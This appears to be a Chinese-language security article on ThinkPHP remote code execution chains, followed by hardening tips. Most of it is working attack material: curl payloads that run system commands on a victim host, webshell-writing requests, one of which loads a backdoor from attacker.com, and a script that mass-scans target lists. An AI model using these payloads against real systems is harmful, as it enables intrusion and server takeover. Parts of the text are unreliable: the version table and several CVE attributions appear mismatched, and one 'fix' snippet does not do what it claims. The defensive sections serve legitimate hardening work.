ThinkPHP 漏洞链全景
1. 漏洞背景
ThinkPHP 5.0 / 5.1 因其灵活的路由和请求参数处理方式,历史上出现过多起经典 RCE。攻击链的核心是 _method 伪参数和 Request::input() 的函数调用。
2. 版本对照表
| 漏洞编号 | 影响版本 | 触发点 | CVSS |
|---|---|---|---|
| CVE-2018-20062 | 5.1.0 |
Request::instance() | 9.8 |
| CVE-2019-5516 | 5.1.0 |
think\app | 9.8 |
| CVE-2019-9082 | 5.1.0 |
filter 函数参数 | 8.6 |
| CVE-2020-28332 | 5.1.0~5.1.31 | Session 反序列化 | 7.5 |
| CVE-2022-37799 | 6.0.0~6.0.13 | think\facade\Db | 9.8 |
3. TP5 RCE 核心机制
3.1 Request::input() 方法
ThinkPHP 5 的 Request::instance()->input('get.xxx') 会调用 filter 参数指定的函数,而 filter 可以是任意函数名!这是整个漏洞链的根源。
攻击链:
GET /index.php?s=/index/xxx&filter=system&data[0]=id
→ Request::input() 读取 filter 参数
→ call_user_func_array('system', ['id'])
→ RCE
3.2 方法覆盖触发
_method 是 ThinkPHP 用来伪造 HTTP 方法(如 POST 模拟 DELETE)的参数,但在某些版本中它被直接传入了 __construct(),形成危险调用。
4. 各版本详细 PoC
4.1 ThinkPHP 5.0.x RCE (CVE-2018-20062)
前提: 开启了 pathinfo 路由(默认开启)。
curl "http://victim.example.com/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id"
# 或简化版
curl "http://victim.example.com/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami"
4.2 ThinkPHP 5.1.x RCE (CVE-2018-20062)
# 5.1 使用 Request 对象
curl "http://victim.example.com/index.php?s=/index/\think\request/input&filter=system&data[0]=id"
# 另一条链
curl "http://victim.example.com/public/index.php?s=/index/\think\Request/input&filter=system&data[0]=id"
4.3 _method 参数覆盖 (CVE-2019-5516)
# 构造 _method 触发 __construct 中的 call_user_func
curl "http://victim.example.com/index.php?s=captcha" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "_method=__construct&filter=system&method=GET&get[]=id"
# 多参数
curl "http://victim.example.com/index.php?s=captcha" \
-d "_method=__construct&filter=assert&method=GET&get[0]=phpinfo()"
4.4 filter 参数直接函数调用 (CVE-2019-9082)
这是最直接的一条,攻击者通过 filter 参数直接把函数名塞进去:
curl "http://victim.example.com/index.php?s=/index/index&filter=system&data[0]=id"
curl "http://victim.example.com/?s=filter&_method=__construct&filter[]=system&method=GET&get[]=id"
4.5 index.php?s= 绕过
ThinkPHP 5 默认允许 s 参数显式指定路由路径,这可以绕过 rewrite 规则。
4.6 ThinkPHP 6.x think\facade\Db RCE
curl "http://victim.example.com/index.php?s=/index/\think\facade\Db/query&sql=select+sleep(5)"
curl "http://victim.example.com/index.php?s=/index/\think\facade\App/invokeFunction&function=system¶ms[]=id"
5. PHP 一句话木马通过 filter 写入
# 用 file_put_contents 写 shell
curl "http://victim.example.com/index.php?s=/index/\think\request/input&filter=file_put_contents&data[0]=./shell.php&data[1]=<?php+system($_GET['c']);?>"
# 或用 curl_exec 下载
curl "http://victim.example.com/index.php?s=/index/\think\request/input&filter=file_put_contents&data[0]=./shell.php&data[1]=<?php+eval(file_get_contents('http://attacker.com/backdoor.txt'));?>"
6. 一键检测脚本
import requests, urllib3
urllib3.disable_warnings()
def check_tp(url):
# TP5 CVE-2018-20062
payloads = [
"/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo_tp5_rce",
"/public/index.php?s=/index/\think\request/input&filter=system&data[0]=echo_tp5_rce",
"/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo_tp5_rce",
]
for p in payloads:
try:
r = requests.get(url.rstrip("/") + p, timeout=5, verify=False)
if "echo_tp5_rce" in r.text:
print(f"[!] {url} 存在 ThinkPHP RCE via {p}")
return True
except Exception:
pass
# CVE-2019-5516 _method
try:
r = requests.post(url.rstrip("/") + "/index.php?s=captcha",
data="_method=__construct&filter=system&method=GET&get[]=echo_tp5_rce",
headers={"Content-Type": "application/x-www-form-urlencoded"},
timeout=5, verify=False)
if "echo_tp5_rce" in r.text:
print(f"[!] {url} 存在 CVE-2019-5516")
return True
except Exception:
pass
return False
for u in open("targets.txt"): check_tp(u.strip())
7. 指纹识别
ThinkPHP 特征:
- 响应头
X-Powered-By: ThinkPHP; - 默认 favicon 或版本相关图片;
- 404 页面带有 ThinkPHP 风格的错误提示;
- 目录中存在
thinkphp或tp字样。
8. 修复与加固
8.1 代码层面
- 直接升级到 ThinkPHP 8.x。TP 官方 5.0/5.1 已停止维护;
- 若必须保留,升级到 TP 5.1.38 / 5.0.25 + 并手动打补丁。
8.2 index.php 修改
// 禁止 s 参数
$http = $app->http;
$response = $http->name('')->run();
8.3 Nginx 层加固
# 禁止 ThinkPHP 5 的危险访问路径
location ~* /(public|public/static)/index.php {
deny all;
}
location ~* .(php|php5|phtml|php7)$ {
try_files $uri =404;
fastcgi_pass unix:/var/run/php/php8.1-fpm.sock;
}
# 禁止 _method 参数覆盖 dangerous 方法
if ($args ~* "_method=__construct") { return 403; }
if ($args ~* "filter=s*(system|exec|assert|passthru|shell_exec|popen)") { return 403; }
8.4 PHP 配置加固
# disable_functions
disable_functions = system,exec,passthru,shell_exec,popen,proc_open,pcntl_exec,assert,dl
allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/html:/tmp:/var/log/
display_errors = Off
log_errors = On
expose_php = Off
8.5 WAF 规则
ModSecurity / 阿里云 WAF 均有现成的 ThinkPHP 规则集,覆盖 CVE-2018-20062、CVE-2019-5516、CVE-2019-9082。
9. 小结
ThinkPHP 的漏洞史本质上是"框架设计过度灵活"的代价——filter 允许传入任意函数名、_method 可以直接调用 __construct、s 参数绕过所有路由检查。框架安全的黄金法则是:永远不要把用户输入当作代码的一部分来执行。